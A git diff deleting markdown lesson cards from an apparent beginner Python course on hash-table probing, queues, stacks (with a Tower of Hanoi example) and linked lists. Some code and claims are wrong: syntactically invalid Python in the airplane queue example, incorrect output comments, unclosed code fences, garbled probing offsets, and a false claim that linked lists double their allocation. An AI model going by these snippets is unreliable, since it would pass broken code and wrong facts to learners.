-index = (index + 1) % hashTableSize
-index = (index + 2) % hashTableSize
-index = (index + 3) % hashTableSize
-
-and so on...
-
-
-
-> The collision between John Smith and Sandra Dee (both hashing to cell 873) is resolved by placing Sandra Dee at the next free location, cell 874.
-
-
-
-### Quadratic Probing
-
-A variation of the linear probing idea is called **quadratic probing**. Instead of using a constant “skip” value, we use a rehash function that increments the hash value by 1, 3, 5, 7, 9, and so on. This means that if the first hash value is *h*, the successive values are ℎ+1, ℎ+4, ℎ+9, ℎ+16, and so on. In other words, quadratic probing uses a skip consisting of successive perfect squares.
-
-Let us assume that the hashed index for an entry is **index** and at **index** there is an occupied slot. The probe sequence will be as follows:
-
-index = index % hashTableSize
-index = (index + 12) % hashTableSize
-index = (index + 22) % hashTableSize
-index = (index + 32) % hashTableSize
-
-and so on...
-
-
-
-
-
-### Double Hashing
-
-Double hashing is similar to linear probing and the only difference is the interval between successive probes. Here, the interval between probes is computed by using two hash functions.
-
-Let us say that the hashed index for an entry record is an index that is computed by one hashing function and the slot at that index is already occupied. You must start traversing in a specific probing sequence to look for an unoccupied slot. The probing sequence will be:
-
-index = (index + 1 * indexH) % hashTableSize;
-index = (index + 2 * indexH) % hashTableSize;
-
-and so on…
-
-It uses one hash value as an index into the table and then repeatedly steps forward an interval until the desired value is located, an empty location is reached, or the entire table has been searched; but this interval is set by a second, independent hash function. Unlike the alternative collision-resolution methods of linear probing and quadratic probing, the interval depends on the data, so that values mapping to the same location have different bucket sequences; this minimizes repeated collisions.
-
-
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/7.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/7.md
deleted file mode 100644
index 6f055c4e..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/7.md
+++ /dev/null
@@ -1,19 +0,0 @@
-
-
-
-
-
-
-# Hash Tables in Python
-
-As you now know, Hash tables are a type of data structure in which the address or the index value of the data element is generated from a hash function. That makes accessing the data faster as the index value behaves as a key for the data value. In other words Hash table stores key-value pairs but the key is generated through a hashing function.
-
-So the search and insertion function of a data element becomes much faster as the key values themselves become the index of the array which stores the data.
-
-However, when we talk about **hash tables**, we're actually talking about a **dictionary**. In Python, the Dictionary data types represent the implementation of hash tables. The Keys in the dictionary satisfy the following requirements.
-
-- The keys of the dictionary are hashable i.e. the are generated by hashing function which generates unique result for each unique value supplied to the hash function.
-- The order of data elements in a dictionary is not fixed.
-
-Dictionaries in python are implemented through Hashtables. Dictionaries won't be covered extensively in this activity, but this an interesting piece of information to take note of.
-
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/1.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/1.md
deleted file mode 100644
index 39f88016..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/1.md
+++ /dev/null
@@ -1,25 +0,0 @@
-
-
-
-
-
-
-A Queue is a simple data structure concept that can be easily applied in our day to day life, like when you stand in a line to buy coffee at Starbucks. Let's make a few observations based on this example:
-
-1. People enter the line from one end and leave at the other end
-2. The person to arrive first leaves first and the person to arrive last leaves last
-3. Once all the people are served, there are none left waiting to leave the line
-
-
-
-
-
-### Queues in Python
-
-Now, let’s look at the above points programmatically:
-
-1. Queues are open from both ends meaning elements are added from the back and removed from the front
-2. The element to be added first is removed first (First In First Out - FIFO)
-3. If all the elements are removed, then the queue is empty and if you try to remove elements from an empty queue, a warning or an error message is thrown.
-4. If the queue is full and you add more elements to the queue, a warning or error message must be thrown.
-
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/11.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/11.md
deleted file mode 100644
index ee59fef2..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/11.md
+++ /dev/null
@@ -1,11 +0,0 @@
-### Implementing a queue
-
-When implementing a queue, here are a couple points to remember:
-
-1. The points of entry and exit are different in a Queue.
-2. Enqueue - Adding an element to a Queue
-3. Dequeue - Removing an element from a Queue
-4. Front - The 1st element of the Queue that was enqueued 1st
-5. Rear - The last element of the Queue that was enqueued last
-6. Random access is not allowed - you cannot add or remove an element from the middle.
-
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/2.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/2.md
deleted file mode 100644
index 14cb012e..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/2.md
+++ /dev/null
@@ -1,64 +0,0 @@
-
-
-
-
-
-
-We are going to see two different implementations. One is using Lists and another is using the library *deque*. Let’s take a look one by one...
-
-
-
-
-
-> Remember, Queues operate in FIFO (first in, first out) order
-
-Here we are going to define a class `Queue` using a list and add methods to perform the below operations:
-
-1. Enqueue elements to the beginning of the `Queue` and issue a warning if it's full
-2. Dequeue elements from the end of the `Queue` and issue a warning if it’s empty
-3. Assess the size of the Queue
-4. Print all the elements of the Queue
-
-```python
-class Queue:
- #Constructor creates a list
- def __init__(self):
- self.queue=[]
-
- #Adding elements to queue
- def enqueue(self,data):
- self.queue.insert(0,data)
- return True
-
- #Removing the last element from the queue
- def dequeue(self):
- return self.queue.pop()
-
- #Getting the size of the queue
- def size(self):
- return len(self.queue)
-
- #printing the elements of the queue
- def printQueue(self):
- return self.queue
-
-
-myQueue = Queue()
-print(myQueue.enqueue(5)) #prints True
-print(myQueue.enqueue(6)) #prints True
-print(myQueue.enqueue(9)) #prints True
-print(myQueue.enqueue(5)) #prints True
-print(myQueue.enqueue(3)) #prints True
-print(myQueue.size()) #prints 5
-print(myQueue.dequeue()) #prints 5
-print(myQueue.dequeue()) #prints 6
-print(myQueue.dequeue()) #prints 9
-print(myQueue.dequeue()) #prints 3
-print(myQueue.dequeue()) #prints 5
-print(myQueue.size()) #prints 0
-print("Queue Empty!")#prints Queue Empty!
-```
-
-Call the method printQueue() wherever necessary to ensure that it's working.
-
-**Note:** You will notice that we are not removing elements from the beginning and adding elements at the end. The reason for this is covered in the 'implementation using arrays' section below.
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/3.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/3.md
deleted file mode 100644
index f0c87ba1..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/3.md
+++ /dev/null
@@ -1,42 +0,0 @@
-
-
-
-
-
-
-`deque` is a library which, when imported, provides ready-made commands such as the `append()` command for enqueuing and the `popleft()` command for dequeuing. However, a deque is a double-ended queue. This means that insertions and deletions can occur at *either* end. This library also includes the functions `appendleft()` and `pop()` which will insert values from the left end and delete values from the right end respectively. `index()` looks for the specific value that's in our Queue and `remove()` takes a specfifc value to remove from the Queue itself.
-
-
-
-`Deque` has a lot of functionality and we should now learn to make use of them!
-
-1. First we have to import the collection!
-```python
-from collections import deque
-
-2. Now if we were to create a queue...
-```python
-# Creating a Queue
-queue = deque([1,5,8,9])
-
-3. If we wanted to append items to our queue...
-```python
-# Enqueuing elements to the Queue
-queue.append(7) #[1,5,8,9,7]
-queue.append(0) #[1,5,8,9,7,0]
-
-4. If we wanted to deque elements...
-````python
-
-# Dequeuing elements from the Queue
-queue.popleft() #[5,8,9,7,0]
-queue.popleft() #[8,7,9,0]
-
-5. If we wanted to display all our elements in the Queue...
-```python
-#Printing the elements of the Queue
-print(queue)
-```
-
-Try using the *popleft()* command after the queue is empty and see what you get. Post the ways in which you can handle this issue.
-
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/4.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/4.md
deleted file mode 100644
index aa09d53c..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act3_Queues/4.md
+++ /dev/null
@@ -1,35 +0,0 @@
-
-
-
-
-
-
-For this application, we can envision that we have people boarding into an airplane. We know that the first people to board the plane get the first seats (towards the front of the plane). So let's load up our plane with 50 passengers:
-
-> Note: we'll be using a list implementation of the queue.
-
-```python
-passengers = 50 #Total of the current 50 passengers on the plane
-boardingPlane = Queue()
-int(passengers) = 50
-
-for x in range(passengers):
- boardingPlane.enqueue(x)
-
-print(boardingPlane.size()) #result prints a size of 50
-```
-
-> Note: since 50 passengers is a lot to manually `enqueue()`, we can accomplish this in a concise way by using a for loop to iterate through 50 times to `enqueue()` them all.
-
-Later in the day, the airplane lands at Sacramento International Airport. However, only the first 30 passengers in the front leave because the 20 passengers in the back will stay on for the connecting fight. The first 30 passengers corresponds to passengers 1 to 30 for the variable `frontPassengers` for our `boardingPlane`.
-
-```python
-frontPassengers = 30 #1st 30 passengers that left the plane
-int frontPassengers = 30
-
-for x in range(frontPassengers):
- boardingPlane.dequeue(x)
-
-print(boardingPlane.size()) #result prints a size of 20
-```
-
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act4_Stacks/1.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act4_Stacks/1.md
deleted file mode 100644
index 534ac354..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act4_Stacks/1.md
+++ /dev/null
@@ -1,43 +0,0 @@
-
-
-
-
-
-
-In this section you are about to learn one of the very basic and most useful data structure concepts known as a **Stack**.
-
- data structure **Stack** can be shown as below:
-
-
-
-> The above image is **Stack Data Structure**. A Stack is a **Last In First Out (LIFO)** data structure. It supports two basic operations called **push** and **pop**. The **push** operation *adds* an element at the **top of the stack**, and the **pop** operation *removes* an element from the **top of the stack**.
-
----
-
-When you hear the word Stack, the first thing that comes to your mind may be a stack of books, and we can use this analogy to explain stacks easily! Some of the commonalities include:
-
-1. There is a book at the top of the stack (if there is only one book in the stack, then that will be considered the topmost book).
-2. Only when you remove the topmost book can you get access to the bottom ones. No Jenga games here! (Also assume that you can only lift one book at a time).
-3. Once you remove all the books from the top one by one, there will be none left and hence you cannot remove any more books.
-
-
-
-> The above image is a visual representation of how a stack works.
-
----
-
-To describe the above points more programmatically:
-
-1. Keep track of the topmost element as this will give you the information about the number of elements in the stack and whether the stack is empty/full (if the stack is empty then top will be set to 0 or a negative number)
-2. The last element to enter the stack will always be the first to leave (Last In First Out - LIFO)
-3. If all the elements are removed, then the stack is empty and if you try to remove elements from an empty stack, a warning or an error message is thrown.
-4. If the stack has reached its maximum limit and you try to add more elements, a warning or error message is thrown.
-
-**Things to remember :**
-
-1. The entry and exit of elements happens only from the top of the stack
-2. Push - Adding an element to the Stack (at the **top of the stack**)
-3. Pop - Removing an element from the Stack (at the **top of the stack**)
-4. Random access is not allowed - you cannot add or remove an element from the middle.
-
-Note: **Always keep track of the Top.** This tells us the status of the stack.
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act4_Stacks/2.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act4_Stacks/2.md
deleted file mode 100644
index 97c2d1fe..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act4_Stacks/2.md
+++ /dev/null
@@ -1,132 +0,0 @@
-
-
-
-
-
-
-### How to implement Stack?
-
-Now that you know what a Stack is, let's get started with the implementation!
-
-### Stack implementation
-
-
-
-Here we are going to define a class Stack and add methods to perform the below operations:
-
-1. Push elements into a Stack
-2. Pop elements from a Stack and issue a warning if it’s empty
-3. Get the size of the Stack
-4. Print all the elements of the Stack
-
----
-
-### Create Stack in Python
-
-Here we create our class `Stack` which will build our Stack with the attributes that comply to its structure. Within the class, we first will create the constructor which simply defines a `stack` object as a list.
-
-```python
-class Stack:
-
- #Constructor creates a list
- def __init__(self):
- self.stack = list()
-```
-
----
-
-#### Push elements (add elements)
-
-Since our stack is simply just a list as of now, we will now need to add the attributes which make it a stack. We still start off by defining the `push()` function which is for adding elements into our stack.
-
-**Two Parameters :**
-
-*self :* which refers to our stack objects
-
-*data* : which is the data element you wish to add into the stack.
-
-**Steps :**
-
-1. Use python `append` function to add element to the end of the list (which is the top of our stack) and return *True*.
-
-```python
- #Adding elements to stack
- def push(self,data):
- self.stack.append(data)
- return True
-```
-
----
-
-#### Pop element (take element out of stack)
-
-Now that we have the functionality to add to our stack, we must also have the ability to take elements out of our stack. Rememeber that stacks follow **LIFO (last-in first-out)** order which means the last element added in is the first element that gets removed. Our `pop()` function will be used to accomplish the removal of elements from our stack.
-
-**One Parameter :**
-
-*self :* which refers to our stack objects
-
-**Steps :**
-
-1. Check if the length of our stack is less than or equal to zero in order to confirm if its empty or not.
-2. If it is indeed empty, then we will return a print statement indicating that it's empty.
-3. Otherwise, we know it is not empty. Use python `pop()` function, which will return the last element of the list (which is the top of our stack), and remove it.
-
-```python
- #Removing last element from the stack
- def pop(self):
- if len(self.stack)<=0:
- return ("Stack Empty!")
- return self.stack.pop()
-```
-
----
-
-#### Size of Stack
-
-Last, the only remaining function to accomplish our stack implementation is `size()` which simply just returns the size of our stack (how many elements are in the stack).
-
-**One Parameter :**
-
-*self :* which refers to our stack objects
-
-**Steps :**
-
-1. Use python `len` function to return the lenth of the list (which is defined as our stack).
-
-```python
- #Getting the size of the stack
- def size(self):
- return len(self.stack)
-```
-
----
-
-### Class of Stack
-
-Here is our full implementation of `Stack` altogether:
-
-```python
-class Stack:
-
- #Constructor creates a list
- def __init__(self):
- self.stack = list()
-
- #Adding elements to stack
- def push(self,data):
- self.stack.append(data)
- return True
-
- #Removing last element from the stack
- def pop(self):
- if len(self.stack)<=0:
- return ("Stack Empty!")
- return self.stack.pop()
-
- #Getting the size of the stack
- def size(self):
- return len(self.stack)
-```
-
-> NOTE: Since the stack is represented by a list, the size of our stack size is dynamic which implies that we do not have concerns for increasing and decreasing our stack to whichever length of elements.
\ No newline at end of file
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act4_Stacks/3.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act4_Stacks/3.md
deleted file mode 100644
index f7cdac6a..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act4_Stacks/3.md
+++ /dev/null
@@ -1,84 +0,0 @@
-
-
-
-
-
-
----
-
-#### Initialize Stack
-
-Using our `Stack` implementation, we can now use it as a data structure for storing and removing data elements. To begin using our stack, we need to initialize it as such:
-
-```python
-myStack = Stack()
-```
-
----
-
-#### Add elements
-
-The variable `myStack` is now a stack object that is capable of using the functions we previously defined for our stack. Let's add some elements into our stack via `push()`, I will also print the operations in order for you to see that they have happened successfully since the function returns a boolean:
-
-```python
-myStack = Stack()
-print(myStack.push(5)) #prints whether the operation "push" successes
-print(myStack.stack) #print the stack(left is bottom of the stack,right is the top of stack)
-print(myStack.push(6))
-print(myStack.stack)
-print(myStack.push(9))
-print(myStack.stack)
-print(myStack.push(5))
-print(myStack.stack)
-print(myStack.push(3))
-print(myStack.stack)
-```
-
-**result of the code :**
-
-
-
-Thus, our stack should now look as such: [5, 6, 9, 5, 3].
-
----
-
-#### Return Size of Stack
-
-If we check the size of our stack we can do so as such:
-
-```python
-print(myStack.size())
-```
-
-**result of the code :**
-
-
-
-and we see that the size of `myStack` is 5!
-
----
-
-#### Remove elements
-
-Now we can proceed to remove the elements from our stack which is simply just calling `pop()` on `myStack`:
-
-```python
-print(myStack.pop()) #print the value of removed element
-print("stack now :",myStack.stack) #print the stack now
-print(myStack.pop())
-print("stack now :",myStack.stack)
-print(myStack.pop())
-print("stack now :",myStack.stack)
-print(myStack.pop())
-print("stack now :",myStack.stack)
-print(myStack.pop())
-print("stack now :",myStack.stack)
-print("the size of the stack now :",myStack.size()) #print the size of stack
-print(myStack.pop())
-```
-
-**result of the code :**
-
-
-
-Since `myStack` only contained 5 elements, the stack became empty after calling `pop()` five times as seen when we check the size again. Then upon calling `pop()` for the sixth time, we see that "Stack Empty!" is printed.
\ No newline at end of file
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act4_Stacks/4.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act4_Stacks/4.md
deleted file mode 100644
index bd8337cd..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act4_Stacks/4.md
+++ /dev/null
@@ -1,202 +0,0 @@
-
-
-
-
-
-
-Stack data structure in a wide range of practical applications, they are often able to solve many problems. Next we use the stack to solve an interesting game problem——*Tower of Hanoi*.
-
----
-
-
-
-### Application Of Stack —— Tower of Hanoi
-
-Tower of Hanoi is a mathematical puzzle. It consists of three poles and a number of disks of different sizes which can slide onto any poles. The puzzle starts with the disk in a neat stack in ascending order of size in one pole, the smallest at the top thus making a conical shape. The objective of the puzzle is to move all the disks from one pole (say ‘source pole’) to another pole (say ‘destination pole’) with the help of the third pole (say auxiliary pole).
-
-The puzzle has the following **two rules** :
-
-1. You can’t place a larger disk onto smaller disk
-2. Only one disk can be moved at a time
-
-With our stack implementation, we can go ahead and solve the Tower of Hanoi. Each pole (tower) will be represented by a stack and each disk will be represented as a data element that is stored in the stack.
-
-**Assumption :**
-
-3 disks and 3 poles(towers). Below is a visual representation:
-
-
-
-> Note: the left, middle and right poles correspond respectively to the source, auxililary and destination.
-
-Our objective is to get the stack of disks you see above in the source pole over to the destination pole in the exact same order without stacking a larger disk onto a smaller disk.
-
----
-
-**Step 0) Initialize**
-
-Let's initialize all the items we need and properly set up our puzzle.
-
-```python
-sourcePole = Stack()
-auxPole = Stack()
-destPole = Stack()
-
-smallDisk = 1
-avgDisk = 2
-largeDisk = 3
-
-sourcePole.push(largeDisk)
-sourcePole.push(avgDisk)
-sourcePole.push(smallDisk)
-
-print(sourcePole.stack) # print the Initial state of 3 poles
-print(auxPole.stack)
-print(destPole.stack)
-```
-
-**result of the code :**
-
-
-
-> Note: remember that stack is LIFO so we must `push()` our elements in the appropriate order, the source pole has the `largeDisk` at the bottom and `smallDisk` at the top.
-
----
-
-**Step 1)**
-
-Now let's proceed to solving this puzzle! For our first move, we can only remove the top disk which is `smallDisk`. We will place the `smallDisk` on the destination pole.
-
-```python
-disk = sourcePole.pop() #remove the top disk of source pole to destination pole
-destPole.push(disk)
-
-print(sourcePole.stack) #print the state now
-print(auxPole.stack)
-print(destPole.stack)
-```
-
-**result of the code :**
-
-
-
----
-
-**Step 2)**
-
-Next, we will put the `avgDisk` onto the auxililary pole. Each pole will now have exactly 1 disk.
-
-```python
-disk = sourcePole.pop() #remove the top disk of source pole now to destination pole
-auxPole.push(disk)
-
-print(sourcePole.stack) #print the state now
-print(auxPole.stack)
-print(destPole.stack)
-```
-
-**result of the code :**
-
-
-
----
-
-**Step 3)**
-
-Knowing that we want to put the `largeDisk` first into the destination pole, we need to move the `smallDisk`. So let's put the `smallDisk` on top of the `avgDisk` on the auxiliary pole.
-
-```python
-disk=destPole.pop()
-auxPole.push(disk)
-
-print(sourcePole.stack)
-print(auxPole.stack)
-print(destPole.stack)
-```
-
-**result of the code :**
-
-
-
----
-
-**Step 4)**
-
-Now the destination pole is free for us to put the `largeDisk` in first.
-
-```python
-disk=sourcePole.pop()
-destPole.push(disk)
-
-print(sourcePole.stack)
-print(auxPole.stack)
-print(destPole.stack)
-```
-
-**result of the code :**
-
-
-
----
-
-**Step 5)**
-
-Our goal now is to get the `avgDisk` on top of the `largeDisk` in the destination pole, but `smallDisk` is in the way so let's move that back to the source pole.
-
-```python
-disk=auxPole.pop()
-sourcePole.push(disk)
-
-print(sourcePole.stack)
-print(auxPole.stack)
-print(destPole.stack)
-```
-
-**result of the code :**
-
-
-
----
-
-**Step 6)**
-
-The `avgDisk` is now free to be put on top of the `largeDisk` in the destination pole so we will do so now.
-
-```python
-disk=auxPole.pop()
-destPole.push(disk)
-
-print(sourcePole.stack)
-print(auxPole.stack)
-print(destPole.stack)
-```
-
- **result of the code :**
-
-
-
----
-
-**Step 7)**
-
-Finally, we just need to put the `smallDisk` onto our destination pole and we will have completed our Tower of Hanoi puzzle!
-
-```python
-disk=sourcePole.pop()
-destPole.push(disk)
-
-print(sourcePole.stack)
-print(auxPole.stack)
-print(destPole.stack)
-```
-
-**result of the code :**
-
-
-
----
-
-For a visual representation of the steps that we took to complete our Tower of Hanoi programatically, you can take a look below:
-
-
-
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/1.md b/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/1.md
deleted file mode 100644
index 065ee7e0..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/1.md
+++ /dev/null
@@ -1,38 +0,0 @@
-
-
-
-
-
-
-To put it in the simplest terms, one can think of a linked list like a string of pearls. Each pearl in the string leads to the next. The first pearl on the string can be called the "head" pearl. In a linked list, the "head" node, as can be assumed, is the very first node in the list. Each node contains two things: some data associated with the node, and a reference to the next node in the list.
-
-In a singly linked list, each node (or pearl) has one single reference to the next node (or pearl) in the list. A doubly linked list instead has two references, one for the next node, and one for the previous node. The last node in all linked lists points to a "null" node, signfying the end of the list.
-
-Many benefits come with using a linked list instead of any other similar data structure (like a static array). This includes dynamic memory allocation--if one doesn't know the amount of data they want to store during initialization, a linked list can help with quickly adjusting the size of the list.
-
-However, there are also several disadvantages to using a linked list. More space is used when dyanmically allocating memory (mostly for the reference to the next node), and if you want to access an item in the middle, you have to start at the "head" node and follow the references until reaching the item wanted.
-
-**In practice, some insertions cost more. If the list initially allocates enough space for six nodes, inserting a seventh means the list has to double its space (up to 12).**
-
-![]
-
-### The Linked List
-
-A simple implementation of a linked list includes the following methods:
-
-- Node class: implementing the idea of a Node and its attributes
-- Insert: inserts a new node into the list
-- Size: returns size of list
-- Search: searches list for a node containing the requested data and returns that node if found, otherwise raises an error
-- Delete: searches list for a node containing the requested data and removes it from list if found, otherwise raises an error
-
-Now, we can create the start of our linked list! Luckily, the linked list (as a class) itself is actually the "head" node of the list!
-
-**Note: Upon initialization, a list has no nodes, so the "head" node is set to None. Because a linked list doesn't necessarily need a node to initialized, the "head" node will, by default, set itself to None.**
-
-```python
-class LinkedList(object):
- def __init__(self, head=None):
- self.head = head
-```
-Now we can implement the most important attribute of a linked list: the node!
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/2.md b/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/2.md
deleted file mode 100644
index 8619ead8..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/2.md
+++ /dev/null
@@ -1,48 +0,0 @@
-
-
-
-
-
-
-### The Node
-
-Below is a simple implementation of a `Node` class (a representation of the `Node` objects in a linked list).
-
-```python
-class Node(object):
- def __init__(self, data):
- self.data = data
- self.next_node = None
-```
-The node is where data is stored in the linked list; if a pearl was hollow and contained a bead inside, the bead would be the data. Along with the data, each node also holds a **pointer** which is a reference to the next node in the list. Note: if it was a doubly linked list, the reference to the previous node would be a pointer too.
-
-The node's data is initialized with data received at creation, and its pointer is set to None by default since the first node to be inserted into the will wouldn't have any other node to point to.
-
-Each `Node` object contains data that can be retrieved via the `get_data` function and can get or set the next node via the functions `get_next` and `set_next` respectively.
-
-After implementing the class `Node`, then we can begin to implement functions to help with retrieving information about the specified `Node` object.
-
-- The function `get_data` will return whatever data is stored in the current `Node` object.
-- The function `get_next` will return the location of the node that comes next.
-- The function `set_next` will reset the next node to a new node.
-
-```python
- def get_data(self):
- return self.data
-
- def get_next(self):
- return self.next_node
-
- def set_next(self, new_next):
- self.next_node = new_next
-```
-
-**Note: `next_node` is a pointer to another `Node` object! It's not its own node!**
-
-Now to create actually create our linked list and a node for it...
-
-```python
-film = LinkedList()
-film.head = Node(900)
-```
-Inserting the following Nodes will be almost as easy!
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/3.md b/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/3.md
deleted file mode 100644
index 4dffed4a..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/3.md
+++ /dev/null
@@ -1,33 +0,0 @@
-
-
-
-
-
-
-To begin inserting new nodes into the linked list, we'll create an `insert()` method! We will take data, initialize a new `Node` object with the data, then add it to the list. Although its possible to insert a new Node anywhere in the list, it becomes less expensive to insert it at the beginning.
-
-If we had a string of pearls and wanted to add a new pearl, we would add the pearl at the start of the string, making our new pearl the "head" pearl. In the same sense, when inserting the new Node at the beginning, it becomes the new "head" of the list, and we can just have the next node (for our new "head") to point to the old "head" Node.
-
-```python
-def insert(self, data):
- new_node = Node(data)
- new_node.set_next(self.head)
- self.head = new_node
-```
-Upon further observation, we can see that the time complexity for this insert method is in fact constant O(1): it always takes the same amount of time. It can only take one data point, create only one node, and doesn't need to interact with the other nodes in the linked list besides the "head" node.
-
-When calling the `insert()` function in the `main()` code, it will look like this:
-
-```python
-film.insert(930)
-film.insert(1000)
-```
-The data point '930' will be assigned to a new node's `self.data` value, while the `set_next` function points the current node to the old "head" node. Then, `self.head` will take in our current Node as the new "head" node.
-
-The same happens to the next line with the data entry of '1000'.
-
-Below is a visual representation of what happens when we use the `insert()` function.
-
-![]
-
-If we want to remove an item from the list, we can then use the `delete()` function.
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/4.md b/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/4.md
deleted file mode 100644
index a7fed9ce..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/4.md
+++ /dev/null
@@ -1,44 +0,0 @@
-
-
-
-
-
-
-The time complexity for delete is also O(n), because in the worst case it will visit every node, interacting with each node a fixed number of times.
-
-The `delete()` function for our linked list goes through the list, and keeps track of the current node, `current`, while also remembering the node it last visited, `previous`.
-
-```python
-def delete(self, data):
- current = self.head
- previous = None
- found = False
-```
-In order to delete an element, the `delete()` function goes through the list until it arrives to the node that it wants to delete. When it arrives, it takes a look at the previous node it visited and resets that node's `next_node` to point at the node that comes after the one-to-be-deleted.
-
-```python
- while current and found is False:
- if current.get_data() == data:
- found = True
- else:
- previous = current
- current = current.get_next()
-```
-Afterwards, we add several statements in the case that the data doesn't exist in the list, moving onto the next node if we're at the "head" node, and moving through the list node by node.
-
-```python
- if current is None:
- raise ValueError("Data not in list")
- if previous is None:
- self.head = current.get_next()
- else:
- previous.set_next(current.get_next())
-```
-When the previous node's `next_node` points at the next node in line, then no nodes will point at the current node, meaning that the current node has now been deleted!
-
-In our `main()` function later on, deleting a node from a linked list will look as follows:
-
-```python
-film.delete(1000)
-```
-![]
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/5.md b/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/5.md
deleted file mode 100644
index 56c7e949..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/5.md
+++ /dev/null
@@ -1,31 +0,0 @@
-
-
-
-
-
-
-In order to find the size of a linked list, we can define our `size()` function as being able to count nodes until it doesn't find any more, and return the amount of nodes it found.
-
-The method begins with the "head" node and travels through the list using the `next_node` pointers to reach the next node until the `current` node becomes None. Once it reaches that point, it will return the number of nodes that it encountered along the way.
-
-```python
-def size(self):
- current = self.head
- count = 0
- while current:
- count += 1
- current = current.get_next()
- return count
-```
-The time complexity of size is O(n) because each time the method is called it will always visit every node in the list but only interact with them once, so n * 1 operations.
-
-Calling our `size()` function should look like this:
-
-```python
-print(film.size())
-```
-In the visual example below, `size()` should return a size of 4 nodes.
-
-![]
-
-To further implement a linked list, we'll see that the `search()` function is actually very similar to `size()`.
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/6.md b/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/6.md
deleted file mode 100644
index 2fd66666..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/6.md
+++ /dev/null
@@ -1,41 +0,0 @@
-
-
-
-
-
-
-Now, if we want to find a certain node in our linked list, we can use a search method!
-
-As mentioned before, `search()` is rather similar to `size()` in that it also (at worst-case scenario) has to travel through the entire linked list.
-
-```python
-def search(self, data):
- current = self.head
- found = False
- while current and found is False:
-```
-At each node, the `search()` function will check to see if the data matches the data it's looking for. If so, then it will return the node that holds the requested data. If not, then it will just continue to go to the next node.
-
-```python
- if current.get_data() == data:
- found = True
- else:
- current = current.get_next()
-```
-Should the function not find the data at all, it will return an error notifying the user that the data is not in the list. **Note: If the function goes through the entire list without finding the data, that is also our worst-case scenario, meaning our worst-case time complexity is O(N).**
-
-```python
- if current is None:
- raise ValueError("Data not in list")
- return current
-```
-When we call it, it should look like this:
-
-```python
-print(film.search(1000))
-```
-Below is a visual representation of searching for an element in a linked list.
-
-![]
-
-Now that we've covered how to implement and create the different functions and attributes of a linked list, we can put everything together!
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/7.md b/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/7.md
deleted file mode 100644
index 92a76314..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/7.md
+++ /dev/null
@@ -1,91 +0,0 @@
-
-
-
-
-
-
-Now that we have our Linked List implementation, we can put it to work! Assume we work at a film production company and we're holding auditions! The auditions begin at 9:00 in the morning.
-
-```python
-film = LinkedList()
-film.head = Node(900)
-```
-
-> Note: this is the code from the 2nd card! Remember that the first node of the Linked List when initialized will be the head node.
-
-Now that we have intialized our Linked List with a head node, we will continue to build onto our Linked List for the duration of our film audition appointments.
-Each succeeding node will represent another scheduled audition, each 30 minutes apart.
-
-One way we could do this is by creating a new node and setting it as the next node following the previous node:
-
-```python
-node1 = Node(930)
-node2 = Node(1000)
-film.head.set_next(node1)
-node1.set_next(node2)
-```
-
-> Note: *node1* and *node2* are new nodes that represent two more scheduled auditions for our Linked List *film* that follow the head node.
